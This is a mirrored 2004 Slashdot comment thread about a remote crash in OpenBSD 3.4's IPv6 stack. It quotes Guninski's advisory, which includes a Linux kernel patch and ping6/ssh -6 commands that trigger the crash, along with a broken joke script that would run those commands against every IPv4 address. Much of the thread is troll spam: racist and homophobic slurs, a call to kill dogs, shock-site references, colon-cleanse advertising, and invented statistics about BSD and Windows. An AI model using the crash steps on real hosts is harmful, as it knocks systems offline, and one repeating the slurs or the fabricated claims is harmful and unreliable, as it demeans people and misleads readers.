Slashdot Mirror
Remotely Crash OpenBSD
*no comment* writes "If you are running OpenBSD on your IPv6 install, it might be time to upgrade to -current. (just kidding) There is, however, a way to crash OpenBSD 3.4 with a couple of simple IPv6 commands. Georgi Guninski, found the problem. To quote Theo, 'it is just a crash.'" It is unknown if the bug could be used to execute arbitrary code, but it does require patching a Linux kernel (or rolling your own network stack) to exploit.
"Do not stand at my hard disk and forever weep.
I am not there; I do not sleep.
I am a thousand winds that blow.
I am the diamond glints on snow.
I am the sunlight on ripened grain.
I am the gentle autumn's rain.
When you reboot in the morning's hush
I am the swift uplifting rush
Of quiet birds in circled flight.
I am the soft stars that shine at night.
Do not stand at my hard disk and forever cry.
I am not there. "
GNAA (GAY NIGGER ASSOCIATION OF AMERICA) is the first organization which
gathers GAY NIGGERS from all over America and abroad for one common goal - being GAY NIGGERS.
__vowov_ __vv___v_ ______vov_ ______vov__
_vow_wov _vow__wov _____vowov _____vowov_
_vow____ _voww_wov ____vowowv ____vowowv_
_vow_wov _vow_wwov ___vow_wov ___vow_wov_
_vow_wov _vow__wov __vow__wov __vow__wov_
__vowov_ _vow__wov _vow___wov _vow___wov_
_____GAY NIGGER ASSOCIATION of AMERICA_____
BE NIGGER!
BE GAY!
JOIN THE GNAA!
GNAA (GAY NIGGER ASSOCIATION OF AMERICA) is the fastest-growing GAY NIGGER community with THOUSANDS of members all over United States of America. You, too, can be a part of GNAA if you join today!
Why not? It's quick and easy - only 3 simple steps!
First, you have to obtain a copy of GAY NIGGERS FROM OUTER SPACE THE MOVIE and watch it. (Click Here to download the ~280MB MPEG off of BitTorrent)
Second, you need to succeed in posting a GNAA "first post" on slashdot.org, a popular "news for trolls" website
Third, you need to join the official GNAA irc channel #GNAA on EFNet, and apply for membership.
Talk to one of the ops or any of the other members in the channel to sign up today!
Fourth, remind Lindsay Felton about Batman touching my junk liberally.
If you are having trouble locating #GNAA, the official GAY NIGGER ASSOCIATION OF AMERICA irc channel, you might be on a wrong irc network. The correct network is EFNet, and you can connect to irc.foxlink.net or irc.choopa.net as one of the EFNet servers. If these do not work, use irc.efnet.net.
If you do not have an IRC client handy, you are free to use the GNAA Java IRC client by clicking here.
If you have mod points and would like to support GNAA, please moderate this post up.
This post by GNAA member Lysol, another soul proud of his nigger fag heritage.
I think it's time to upgrade to windows.
I am defenseless. Use your button. Mod me down with all of your hatred.
How do them apples taste now?
*BSD IS DYING
Extra point if you use Exploder!
Ya!
[ed. note: in the following text, former FreeBSD developer Mike Smith gives his reasons for abandoning FreeBSD] When I stood for election to the FreeBSD core team nearly two years ago, many of you will recall that it was after a long series of debates during which I maintained that too much organisation, too many rules and too much formality would be a bad thing for the project. Today, as I read the latest discussions on the future of the FreeBSD project, I see the same problem; a few new faces and many of the old going over the same tired arguments and suggesting variations on the same worthless schemes. Frankly I'm sick of it. FreeBSD used to be fun. It used to be about doing things the right way. It used to be something that you could sink your teeth into when the mundane chores of programming for a living got you down. It was something cool and exciting; a way to spend your spare time on an endeavour you loved that was at the same time wholesome and worthwhile. It's not anymore. It's about bylaws and committees and reports and milestones, telling others what to do and doing what you're told. It's about who can rant the longest or shout the loudest or mislead the most people into a bloc in order to legitimise doing what they think is best. Individuals notwithstanding, the project as a whole has lost track of where it's going, and has instead become obsessed with process and mechanics. So I'm leaving core. I don't want to feel like I should be "doing something" about a project that has lost interest in having something done for it. I don't have the energy to fight what has clearly become a losing battle; I have a life to live and a job to keep, and I won't achieve any of the goals I personally consider worthwhile if I remain obligated to care for the project. Discussion I'm sure that I've offended some people already; I'm sure that by the time I'm done here, I'll have offended more. If you feel a need to play to the crowd in your replies rather than make a sincere effort to address the problems I'm discussing here, please do us the courtesy of playing your politics openly. From a technical perspective, the project faces a set of challenges that significantly outstrips our ability to deliver. Some of the resources that we need to address these challenges are tied up in the fruitless metadiscussions that have raged since we made the mistake of electing officers. Others have left in disgust, or been driven out by the culture of abuse and distraction that has grown up since then. More may well remain available to recruitment, but while the project is busy infighting our chances for successful outreach are sorely diminished. There's no simple solution to this. For the project to move forward, one or the other of the warring philosophies must win out; either the project returns to its laid-back roots and gets on with the work, or it transforms into a super-organised engineering project and executes a brilliant plan to deliver what, ultimately, we all know we want. Whatever path is chosen, whatever balance is struck, the choosing and the striking are the important parts. The current indecision and endless conflict are incompatible with any sort of progress. Trying to dissect the above is far beyond the scope of any parting shot, no matter how distended. All I can really ask of you all is to let go of the minutiae for a moment and take a look at the big picture. What is the ultimate goal here? How can we get there with as little overhead as possible? How would you like to be treated by your fellow travellers? Shouts To the Slashdot "BSD is dying" crowd - big deal. Death is part of the cycle; take a look at your soft, pallid bodies and consider that right this very moment, parts of you are dying. See? It's not so bad. To the bulk of the FreeBSD committerbase and the developer community at large - keep your eyes on the real goals. It's when you get distracted by the politickers that they sideline you. The tireless work that you perform keeping the system clean and building is what provides the platfo
PLEASE KILL A DOG - Any dog. Support the Euthenasia for Canus Familiarous Assoc. today to benefit from the FULL BENEFITS of being a FULL TIME ECFA member.
Are you MAD?
Do you HATE DOGS?
Are you a MAD DOG HATER?
If you answered "yes" to any of the above questions, the ECFA is for you! The ECFA is the only animal humane group that supports the MAD KILLING OF DOGS.
Why kill dogs you ask? Because there are just TOO MANY of them. We don't have anything against the species, it's just that they are too overpopulated. Dog lovers from around the world spend LOADS of TIME attempting to save every member of this overcrowded species. To fix this imbalance, the overpopulated animals need to be eliminated. If the dog is not already in a home, or can be adopted in a short period of time... it's time to say goodbye.
Why MAD? Because they are costing us TAX DOLLARS to take care of? Over 100 million dollars is spent in the US each year alone on taking care of wild dogs. The health and safty concerns of this overpopulation are overwhelming. It is time to say goodbye.
We are looking forward to your membership. To join, first get a ECFA "first post" on slashdot.org. Then, give us a holler in our chatroom, #dogs on efnet. Then, simply post a sign outside your humane society for the humane destruction of dogs with euthanasia.
and then the devil rises.
i love trolls
You'd think that Linux problems would only affect itself, but apparently it's bad enough to crash BSD boxes as well.
So much for peaceful network coexistence.
I have been pwned because my
require patching a Linux kernel (or rolling your own network stack) to exploit.
So if you patch YOUR kernel and/or roll YOUR own network stack, then you could be vulnerable to a remote attack.
What am I missing here?
- - - - - - - - - - -
I am a programmer. I am paid to produce syntax not grammar. Deal with it.
Or can OpenBSD still boast "Only one remote hole in the default install, in more than 7 years!" ?
--
Society has traditionally always tried to find scapegoats for its problems. Well, here I am.
with their DEGO moustaches and GREASY hair!
Fixing a bug in OpenBSD requires patching a Linux kernel? What will they think of next?! Installing Outlook for fix a Solaris root exploit?
mod -1 for being a troll post, openBSD is alive and well... and its not the linux kernel, its the BSD kernel you dumbshit.
I'm thinking that if someone from Microsoft stated "It's just a crash" the editors here would be just a touch more sarcastic...
I noticed this awhile ago. To fix the problem, it is believed that openbsd current is not vulnerable.
Noone important uses BSD anyways...
Why would you patch a Linux kernal for a BSD problem? That's like patching Windows due to a linux problem.
Help Brendan pay off his student loans
I know that the problem has been fixed in -current, but I run a production box that I refuse to bring up to -current. There's no patch or even a mention of this problem on the errata page.
What's a sane admin to do?
Maybe the next time Bashdork reports the new evil IE vulnerability that allows my desktop wallpaper to be changed by a hacker in Romania I'll se a quote like this one. "To quote [whomever], head of [whatever] at Microsoft, it's just a crash".
I'm sure.
..or should this read "If you are running IPv6 on your OpenBSD install.."
Now, if you'll excuse me, I have backups to corrupt.
If this was on fark, the title would be
BSD Exploit discovred, Linux users laugh, Flamewar ensures!
Nero-burning ROM for Linux!
read. to cause the crash you need to use a remote system running the patched linux kernel
ya know after all the depenguinator and "upgrading" your linux box to BSD articles lately...i should have some sort of witty remark to this... but sadly i dont.
"why don't you just slip into something more comfortable...like a coma!"
You have to have a modified ipv6 stack in order to exploit this bug, not to fix it. I can remotely crash your ipv6 enabled openbsd if I modify my linux kernel. Capisce?
Remote openbsd crash with ip6, yet still openbsd much better than windows
i ng in this document may change without notice.
:
/* we coulnd't care less */ //joro
i net6/ip6_output.c e t/tcp_output.c?sortby=date
Systems affected:
tested on openbsd 3.4
not clear about netbsd
freebsd not vulnerable
Risk: Medium
Date: 4 February 2004
Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/obsdmtu.html
Anyth
Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Description:
It is possible to remotely crash openbsd 3.4 if the host receives icmpv6
and there is a listening tcp port.
quoting de raadt: "it is just a crash."
remote crash which screws the kernel.
unknown whether this may be exploited for code execution.
Details:
The problem is triggered by setting small ipv6 mtu and then doing tcp
connect.
How to reproduce:
Patch linux kernel 2.4.24 net/ipv6/icmp.c
case ICMPV6_ECHO_REPLY:
icmpv6_send(skb, ICMPV6_PKT_TOOBIG, 0, 68, skb->dev);
then:
ping6 openbsd
ssh -6 openbsd
Workaround:
It is believed that openbsd current is not vulnerable.
netbsd current also seems to have related changes.
check:
http://www.openbsd.org/cgi-bin/cvsweb/src/sys/net
http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/netin
Vendor status:
open, net and free bsd were notified Sun, 1 Feb 2004 16:35:56 +0200
Georgi Guninski
http://www.guninski.com
Pardon my ignorance..but do FreeBSD n Open BSD use the same kernel?If they do does that mean that this bug would affect FreeBSD as well?
Lord of the Binges.
With the attitude those guys have, it's almost as amusing to hear about an OpenBSD exploit than a WinXP one!
Great, now when I try and check the linked article and cant get there I am left wondering if it was Slashdotted or if someone crashed the servers using the exploit.
Hell, who knows, maybe this one is Google's fault too.
...my BSD is dying...
Now let's see ... what are the chances of finding both an OpenBSD server (an unpatched one at that) and IPv6 network in the same place? I think I'd better stick to plausible worries like lighting strikes, seatbelt failures, and choking to death on my turkey dinners.
Still another awful blow has struck what's left of the *BSD community, as a soon-to-be-released report by an independent commission doing a year-long study concludes: *BSD is dead and mummified. Here are some of the commission's findings:
Fact: the *BSDs have balkanized yet again. There are now no less than twelve separate, competing *BSD projects, each of which has introduced fundamental incompatibilities with the other *BSDs, and frequently with Unix standards. Average number of developers in each project: fewer than five. Average number of users per project: there are no definitive numbers, but reports show that all projects are on the decline.
Fact: Apple is quietly changing the base kernel for OS X from *BSD to Linux. Insiders report that Apple's technical leadership has grown tired of the licensing battles and is seeking a more modern license; they find Linux's license more appealing. Many Apple technology experts -- from OS developers all the way up to Steve Jobs -- find Linux to be a more advanced OS, which will enable Apple to release a more mature product. The frequent hallway arguments and fistfights among the *BSD developers Apple has hired has also contributed to the decision.
Fact: XFree86 is dropping support for *BSD. The remaining core group believes that the *BSDs have strayed too far from Unix standards and have become too difficult to support along with Linux and Solaris x86. "It's too much trouble," said one anonymous developer. "If they want to make their own standards, let them doing the porting for us."
Fact: Many user-level applications will no longer work under *BSD, and no one is working to change this. The GIMP, a Photoshop-like application, has not worked at all under *BSD since version 1.1 (sorry, too much trouble for such a small base, developers have said). OpenOffice, a Microsoft Office clone, has never worked under *BSD and never will. ("Why would we bother?" said developer Steven Andrews, an OpenOffice team lead.)
Fact: servers running OpenBSD, which claims to focus on security, are frequently compromised. According to Jim Markham, editor of the online security forum SecurityWatch, the few OpenBSD servers that exist on the internet have become a joke among the hacker community. "They make a game out of it," he says. "(OpenBSD leader) Theo [de Raadt] will scramble to make a new patch to fix one problem, and they've already compromised a bunch of boxes with a different exploit."
Fact: NetBSD, which claims to focus on portability (whatever that is supposed to mean), is slow, and cannot take advantage of multiple CPUs. "That about drove the last nail in the coffin for BSD use here," said Michael Curry, CTO of Amazon.com. "We took our NetBSD boxes out to the backyard and shot them in the head. We're much happier running Linux."
Fact: There are almost no FreeBSD developers left, and its use, according to Netcraft, is down to a sadly crippled
Fact: DragonflyBSD, yet another offshoot of the beleaguered FreeBSD "project", is already collapsing under the weight of internal power struggles and in-fighting. "They haven't done a single decent release," notes Mark Baron, an industry watcher and columnist. "Their mailing lists read like an online version of a Jerry Springer episode, complete with food fights, swearing, name-calling, and chair-throwing." Netcraft reports that DragonflyBSD is run on exactly 0% of internet servers.
With these incontroverible facts staring (what's left of) the *BSD community in the face, they can only draw one conclusion: *BSD is dead and mummified.
I was talking with some of my colleagues in network security this morning about the OpenBSD exploit and means by which future exploits may be avoided. One suggestion which was raised was that the OpenBSD 'ports' system may be to blame. After all, if you need to add packages on a BSD system, 'ports' must be opened, and when ports are open on firewall boxes, bad things happen. Debian's apt-get system for example does not require 'ports' to work properly, and therefore may be immune from this type of exploit. Is this a possible solution? I look forward to hearing the community's responses!
If slashdot is going to promote the kind of material that his link is pointing to, then I'm going back to M$ Windows and using PC World as my source of tech information. If I were to say that his link contained material of an 'extremely sick' nature, it would only be an understatement!
It is known for a Long time that the www.openbsd.org web server runs on solaris. I have always doubted their excuse for the bandwidth from sunsite. Surley they could co-located a OpenBSD server at sunsite, Now I know the real reason. OpenBSD's Security features are mostly academic and NOT READY for primtime in mission critical use, even the OpenBSD developers themselves wont use it as their main OS!
OpenBSD is still concidered a hobby security OS in the Security Industry by many. Most Military grade security systems run on Windows 2000, and is the most secure certified operating system. Sure the Applications such as IIS can be exploitable, the the Windows 2000 kernel has never been comprimised remotley. Microsoft has even challenaged hackers 10 million dollars to exploit Windows 2000 Military Security Edition!
So for now, as a Security Specialst who Specializes Windows security, I will keep using Windows, and I will use this toy security system on my isolated testing network.
Nero-burning ROM for Linux!
regarding the second paragraph...YOU HAVE TO BE KIDDING!
I would mod this FUNNY...not insightful.
> To quote Theo, 'it is just a crash.'"
Yes, just a crash. Because you know he was trying like mad to get a remote exploit out of it. Some bugs are a d0s and others are simply not exploitable. Not so hard to understand how people use the phrase, "just a crash", with a disapointed puppy dog look because they cannot get mad props for dissing on Theo.
As for the people who did not understand patching your kernel so you can exploit the bug on openbsd.
HA!
Please continue using windows and being an end luser.
I consider this bug to be like an interesting post. Georgi will just get karma from it. Nothing more.
After all, who needs a bug to d0s someone from the face of the earth?
His way was just more elegant.
the difference is they fix it in a timely fashion...
Kyle
http://www.unlogikal.net/
rofl, nice ;)
even better someone just modded it insightful, please stop before I spit the rest of my coffee over the monitor.
I poop on you
Ha ha ha, very funny.
Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
yet still openbsd much better than windows... cause we say so. What a dumb way of defending yourself, why brush off your bug by saying "At least we're not windows!". Why don't you own up to the fact that "Hey we found a bug, but since we're open source we can fix it right away"
There are days on this network where I wish the latest MS vulnerability was just a crash. 'member those great days? It may not even get reported because it would be such low key news.
Anyway, for this remote takedown to work, you also have to be running an IPV6 stack, right? At the moment that's a pretty small segment of techies.
Note: I am not an OpenBSD apologist... I am a Mac apologist.
-- The unsig...
(Moderators: The BSD ports system has slightly less than nothing to do with TCP/IP ports being open, closed or missing on firewall or other machines. It's just a homonym (no, it has absolutely nothing to do with gays).)
Money for nothing, pix for free
Stupid trolls.
GOATSE link and WORSE in parent...
Hey but is only a crash nothing at all to worry about...
:
/* we coulnd't care less */ //joro
Patch linux kernel 2.4.24 net/ipv6/icmp.c
case ICMPV6_ECHO_REPLY:
icmpv6_send(skb, ICMPV6_PKT_TOOBIG, 0, 68, skb->dev);
then:
ping6 openbsd
ssh -6 openbsd
#!/usr/bin/python
import popen2,string
def cmd_execute(cmd):
p = popen2.Popen3(cmd)
p.wait()
return string.strip(p.fromchild.read())
#kill everybody
for a in range(0,255):
for b in range(0,255):
for c in range(0,255):
for d in range(0,255):
execute('ping6 ' + a + '.' + b + '.' + c + '.' + d)
execute('ssh -6 ' + a + '.' + b + '.' + c + '.' + d)
Easy: upgrade to Linux. *BSD is dying anyway.
good thing nobody uses IPv6 and never will! :-)
Who the hell modded this up? The ports system like apt-get make internally initiated connections to servers. They don't start listeners up. You can run you own internal mirror of either.
Not log ago there was an article about not only how ipv6 isnt needed, but that since its 'new' code, it has a lot of problems that have long since been worked out of ipv4. Is this an example of that? Should we worry?
I have to ask myself that with all of the decades of experience that has gone into ipv4 development and hacking and exploiting, are these fears justified? Have all the glitches in ipv4 been found? and if so isnt it trivial to avoid the same early mistakes in ipv6. Does this particular problem have a ipv4 analog? Is it even a stack theory issue? Is it just an implementation oversight?
Does anyone have any insight?
But they are "securitier than thou." You're pretty much asking them to change their focus, do you think that security is a bad goal?
Maybe you need to get out of this sports mentality and stop feeling inadequate when another "team" is doing better in one area than your favorite?
Flaming assholes and arrogant pricks we are, but even then a remote crash is the best you can do?
C'mon.
Beside, a remote crash is annoying, but it isn't a remote compromise. Besides it is limited to IP6. It will be more worrying when it is a IP4 remote compromise on a more common OS.
I didn't do anything, it was Guninski. I don't give a crap about OpenBSD.
> I didn't do anything
Exactly.
A professor at the University of Mississippi is giving a
lecture on the supernatural. To get a feel for his
audience, he asks: "How many people here believe in
ghostses?" About 90 students raise their hands.
"Well, that's a good start. Out of those of you who
believe in ghostses, do any of you think you've ever seen
a ghostse?" About 40 students raise their hands.
"That's really good. Has anyone here ever talked to a
ghostse?" 15 students raise their hands.
"That's great. Has anyone here ever touched a ghostse?" 3
students raise their hands.
"That's fantastic. But let me ask you one question
further... Have any of you ever made love to a ghostse?"
One student way in the back raises his hand.
The professor is astonished and says, "Son, in all the
years I've been giving this lecture, no one has ever
claimed to have slept with a ghostse. You've got to come
up here and tell us about your experience."
The redneck student replies with a nod and a grin, and
begins to make his way up to the podium. The professor
says, "Well, tell us what it's like to have sex with a
ghostse."
The student replies, "Ghostse?!? From ah-way back there ah
thought yuh said "goatse."
--
Mamma look!
Ok so why the hell dont they just add a few more octets onto a ipv4 address? afraid to rewrite a.b.c.d as a.b.c.d.e.f?
lol... I crack me up
So maybe you need to patch a Linux OS to get some help sending broken ICMPv6 packets, or maybe you just need to do creative writing to the Ethernet. But you could certainly get MS-DOS to let you do it, and presumably also Windows.
Bill Stewart
New Fast-Compression-only CPR http://preview.tinyurl.com/dy575ks
It is unknown if the bug could be used to execute arbitrary code, but it does require patching a Linux kernel (or rolling your own network stack) to exploit.
I think CowboyNeil needs to check his Linux using head before reporting on BSD ever again.
It isn't a lie if you belive it.
A professor at the University of Mississippi is giving a
lecture on the supernatural. To get a feel for his
audience, he asks: "How many people here believe in
ghostses?" About 90 students raise their hands.
"Well, that's a good start. Out of those of you who
believe in ghostses, do any of you think you've ever seen
a ghostse?" About 40 students raise their hands.
"That's really good. Has anyone here ever talked to a
ghostse?" 15 students raise their hands.
"That's great. Has anyone here ever touched a ghostse?" 3
students raise their hands.
"That's fantastic. But let me ask you one question
further... Have any of you ever made love to a ghostse?"
One student way in the back raises his hand.
The professor is astonished and says, "Son, in all the
years I've been giving this lecture, no one has ever
claimed to have slept with a ghostse. You've got to come
up here and tell us about your experience."
The redneck student replies with a nod and a grin, and
begins to make his way up to the podium. The professor
says, "Well, tell us what it's like to have sex with a
ghostse."
The student replies, "Ghostse?!? From ah-way back there ah
thought yuh said "goatse."
Your Bowels Cleansed
Let me ask you this...which is worse:
A. The engine on your Lexus freezes up at 160,000 miles instead of 300,000. You take a financial hit and you are forced to buy a Camry this time.
B. You start bleeding during bowel movements. You go to the doctor and get poked, prodded, X-ray'd, biopsied, etc. 3 days later you get a call for a consultation. The doctor informs you that you have advanced colon cancer at 45 years old. You have anywhere from 6 months to 5 years left to live. He tells you it's time to get your house in order because you'll be checking out soon. Chemotherapy starts today.
A friend of mine who was a science and health researcher at the University of Chicago, just died this past year of colon cancer at 42. In the midst of the prime of his life, he said goodbye, and left his wife and child behind, wondering what just hit them.
Why do you brush your teeth? Are your teeth falling out right now? For most of us, we do it so we won't need false teeth and Fixodent down the road...right? We want to be able to eat apples. Hey, I agree with that. Natural teeth are great.
But have you ever seen someone who was forced to endure a colonectomy? Someone who now will be spending the rest of their life carrying a bag around?
Incredibly, this is an area where even the staunchest MD's AGREE with us!! Can you believe it? If they knew you had the greatest colon cleanse in the world, I bet they might even refer people to you. NO, I'm not kidding...
This subject is not even up for debate. It's a proven fact. The problem is, most people are not doing anything about it. Please don't be one of them.
****WARNING***** The next section of this email contains graphic
material which may not be suitable for squeamish individuals.
Let's talk stools.
The stool tells you a lot about your colon health. If it's dark brown in color, and it sinks, and it stinks, that's not good. And don't feel bad, that's the way most people are. What you want to see is light brown color, which means it's full of fresh bile from the liver, very mild odor, and a stool that floats. We're talking low-density here folks. The more compaction you have the darker the color and the faster it sinks. Compaction is not good. Also, moving bowels should be SIMPLE. If the veins are popping out of your neck and you feel like your doing the bench press, you NEED to cleanse your colon.
When you do the cleanse, for the first few days....things are a little weird. But you know you're cleansed when you see the above good stuff happening, and you are eliminating at least 2-3 times per day.
Cleansing your colon is a 30-day process. Its also very economical at unde
--
Mamma look!
But they are "securitier than thou." You're pretty much asking them to change their focus, do you think that security is a bad goal?
Maybe you need to get out of this sports mentality and stop feeling inadequate when another "team" is doing better in one area than your favorite?
It's fine to have security as your focus. In fact, that's great. What turns me off is the attitude that OpenBSD is axiomatically more secure. The response from TdR shouldn't be "it's just a crash." It should be, "Man, we screwed up! It will be fixed right away. Good thing there seems to be no way to execute code." And then they should look at how this bug got in there, and figure out how they can make sure that kind of bug doesn't happen again.
IMO they should also get rid of this ridiculous "no (well, one) (remote) (root-privilege) holes (in the default install) in the last 7 years!" business. It's just too confrontational; how can we help but think of them as another "team" trying to beat us at the security "sport"?
Fwiw, I wouldn't go into riot mode over four monosyllable words taken out of context be it from MS or OBSD. Of course, this is /. and that nice little blurb will most certainly cause a lot of banner hits as people will just have to comment. I can personally attest to 3 to get this post up.
I don't want knowledge. I want certainty. - Law, David Bowie
You seem a little bitter.
For those who dont want to set up a Linux kernel, I have written a small Windows application for it. Since the BSD Zealots didnt like the fact that windows 2000 cant be remotley crash and modded my parent down, I thought I'd write a program to shock them. It only took about 15 minutes to write because the exploit was so glaring silly. You willl need Windows NT/2000/XP, Services For UNIX and the .net framework to run this program.
Instructions
Download
Double click the icon
Enter the IP address of the BSD box you want to crash
Download by Clicking here
Nero-burning ROM for Linux!
Are you making use of IPV6? While it is possible I don't really know many people that are, so perhaps you could just not use the IPV6 bindings for now until the problem blows over?
Welcome to the Internet. This is Slashdot. People post links to gross pictures here for you to click on and there is NOTHING YOU CAN DO ABOUT IT. No, really. I'm sure AOL would LOVE to hear about your problems with pee-pee poo-poo pictures on the Web. Why don't you grow a pair of balls and stop your whining?
A non-serious cracker might have fun taking down OpenBSD a few times with an exploit like this. A more serious cracker would do this to try to convince some number of systems to stop running the most secure OS that's reasonably available and replace it with more vulnerable systems that aren't getting spanked a lot.
Bill Stewart
New Fast-Compression-only CPR http://preview.tinyurl.com/dy575ks
I'd find the OpenBSD crew's haughty "more secure than thou" attitude a lot more annoying if it weren't for the fact that their track record actually justifies it. The fact that you can still count the number of remote exploits using a two-bit register is pretty impressive.
No one uses motherfucking IPV6. IT IS A DEAD AND USELESS NERDY ASS FAG TECH. Until corp america moves over to ipv6(which will never happen), it will just be you fucking nerds playing with it and wasting your fucking time.
Hardly..
a simple raw socket will do.
The response from TdR shouldn't be "it's just a crash." It should be, "Man, we screwed up! It will be fixed right away. Good thing there seems to be no way to execute code."
It was fixed before you even heard about it. Get over yourself.
Haida Manga
Just a crash? Just a crash? Give me a break. If the machine goes down, you're hosed. How convenient.
What would the reaction be if s/OpenBSD/WinXP/g and the response was from Microsoft was "it's just a crash." Imagine. Oy.
Except it's not an exploit, it's a DoS ... and it's only a problem for those running IPv6 with a publically accessible IPv6 address.
Yeah, there's a dangerous problem there.
God, the intelligence on Slashdot has certainly dropped in the past few years.
exactly what?
...IPv10 (IPX!)? 4 + 6... [woo lame version # advancement schemes!] then you get to put an "X" in the name and everyone upgrades faster... maybe we could even work in an XML basis; think of the interoperability!
Global symbol "$deity" requires explicit package name at line 2. - If only $scripture started "use strict;"
I've read a bunch of posts comparing this "possible" hole in OpenBSD to those in MS. There's NO comparison! I bet Theo and the OpenBSD developers are already working on a fix. Actually, they probably already have one. With MS, it takes much, much longer! And sometimes, the "fixes" that MS so-called developers come up with break something else.
You bastards!
yes, when I saw this and noticed people commenting on the "Securer than tho" stance taken, my immediate thought was
"Hmm, well if we have gotten to the point where people have to roll their own net stack or patch a kernel to bring an issue to the for, then hasnt hte OpenBSD project succeeded in its goal?"
I'm glad they fixed it..
e ti net6/ip6_output.c.diff?r1=1.81&r2=1.82&f=h i ne t/tcp_output.c.diff?r1=1.106&r2=1.107&sortby=date& f=h
http://www.openbsd.org/cgi-bin/cvsweb/src/sys/n
http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/net
[alk]
The good thing about ports is that, due to their alcohol and tannin content, you *CAN* leave them open much longer than more typical wines. I have a nice port (Fonseca) sitting open on my bar at home. I take a couple of nips from it every evening, and then replace the glass stopper on the carafe. It is a wonderful way to end the work-day. Go grab yourself a 10-year Tawny and you'll see what I mean.
You do need to be careful with how many ports you have open. I find after a couple of ports my work product increases. After a few more, it tends to decrease, exponentially going downhill with each subsequent port. You need to be especially careful with a root prompt and several open ports late at night.
For extra kicks, blind taste a Tawny against a Madeira.
Enjoy.
I have something in common with Stephen Hawking...
"Only one remote hole in the default install, in more than 7 years!" -openbsd.org
but a billion local holes in default install...
--- any post that takes longer than 20 seconds to write, isn't worth writing
You bastards!
Maybe it's not their attitude that is the problem.
I have made a mirror of the page, as it is becoming exceedingly slow.
|/usr/games/fortune
now, how many times does this happens to your favorite OS vendor and their favorite web browser???
from the openbsd CVS:
Revision 1.82 / (download) - annotate - [selected], Wed Feb 4 08:47:41 2004 UTC (38 hours, 50 minutes ago) by itojun
Branch: MAIN
CVS Tags: HEAD
Changes since 1.81: +100 -18 lines
Diff to previous 1.81 (colored)
strictly follow RFC2460 section 5, last paragraph (sender behavior when path MTU 1280). bug found by Georgi Guninski. ok dhartmei
This guy found a crash in qmail, too. I don't think he showed it was exploitable, so he doesn't win DJB's security guarantee prize. In fact I'm not sure DJB reacted to the news at all.
you would HAVE to be connected to the 6bone to get a ipv6 packet. Or have the attacker on your own network running ipv6 and trick you into becoming configured onto the same /64 prefix....not many of us have a ipv6 tunnel (thank you hurricane electric). So this affects very very very few people. you know who you are, and are patching now.
--jboss
The day Microsoft has half the kind of security track record as OpenBSD, they'll be cut some slack.
OpenBSD had earned a little slack. MS still has a long way to go in system security/stability before they deserve the same treatment.
Fixed? really? Could you point out on the errata page where this is even mentioned, let alone patched?
"I use a Mac because I'm just better than you are."
"our linux crashed your openbsd!"
If the same port cost $5 a bottle, would you care so goddamn much about drinking it?
If you think of going to page linked by the grand-grand-parent, dont.
:
:
... sigh, why do I even make the effort?)
I did out of curiosity
If your curious, read this
DISCLAIMER : Even the text version might be highly offensive to some, but I hope that this will kill the curiosity of some people.
The link is one large image composed by multiple sub-images, there is (ROT13):
- Ghotvey
- Tbngfr
- fbzr fgenatr irel htyl intvan-vasrpgvba
- n guvat gung ybbxf yvxr n urnq ghearq vafvqr bhg
- n yrt jvgu gur fxva evccrq bss
- n navzr cvpgher bs n tvey jvgu na bcra fgbznpu
- guerr irel byq zra univat frk
- n jbzna rngvat cbbc pbzvat serfu bhg bs fbzrbarf nffubyr
- one more pictures I dont remember (and I WONT go there again, once was twice too much)
And I can just agree with the parent
NO AMOUNT OF CURIOSITY IS WORTH SEEING THAT.
(But I know that your curiosity will win anyway
Now, where can I get a mind-altering drug to forget what I just saw, that I just saw it and that I even remotly know of it existence?
I have discovered a truly remarkable proof for my post which this sig is too small to contain.
While possibly not a direct security threat, remote crash exploits are obviously highly disruptive and in today's networked economy, highly costly in terms of lost productivity.
While a crash exploit doesn't guarantee it, it usually means that a root exploit is possible.
Think about it: You got the machine to execute code it shouldn't have executed (or overwrite something 'way important it shouldn't have overwritten, or with a value it shouldn't have written.) This usually means you changed the program coutner to some random value. That typically happens as a result of overwriting a return address by a buffer-in-the-stack overflow. Now if you can just get the program counter to point to code you supplied in the same packet, and put the right code there, you're in.
There are other ways this can happen (for instance: overwriting an index into a function table with an illegal value). But many of these similarly lead to root exploits.
A crash means you killed, not just a task, but the whole system. In a system as robust as BSD this usually means that the code that was corrupted by the exploit was running at a kernel permission level. So if you can take it over you can get it to give you any permission you want.
Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
"I have a nice port (Fonseca) sitting open on my bar at home."
I've had a bottle of '77 Fonseca buried in a cave in the Midwest since 1990. One day, when I'm old and grey and wet the bed, my son and I are gonna drain it together.
what is interesting is that current is not affected. very often when a problem is fixed in current but not in stable. why ?
theo hides some fixes. i do not know if it is to keep an advantage over the other bsd projects or linux, but when a problem is detected, they only produce a patch for stable if there is an exploit around or rumour of an exploit.
no exploit ? it gets fixed in current only.
and theo hides it under something like "reliability fix" or alike when if you check the patch it's really a buffer overflow or something very obvious.
so we got people running openbsd stable with patches that should know that if they want to keep with openbsd they should track current, not stable with patches.
this is hypocrisy. the other bsd projects not only do not do such stupid things but they have to keep an eye on theo patches just to find out.
stupid
i have been part of the opensbd project. so i know pretty well how it works.
I remember the days in the late 80s and early 90s when it was (which is how I was able to afford that case of Fonseca '77)... I was a pig in shit back then.
I have something in common with Stephen Hawking...
It should be amusing and rare to hear about these holes in ANY OS. OpenBSD should get more press than Windows for holes, after all openBSD has so few that you can safely assume the people using openBSD don't bother to pay attention, while those using Windows have to pay attention. Therefore we need extra effort to get the attention of OpenBSD users on the rare times it is needed.
Saddly it doesn't work that way. Windows users despite having lots (by comparition) of holes never patch, while openBSD seems to be reserved for only the paranoid who patch often.
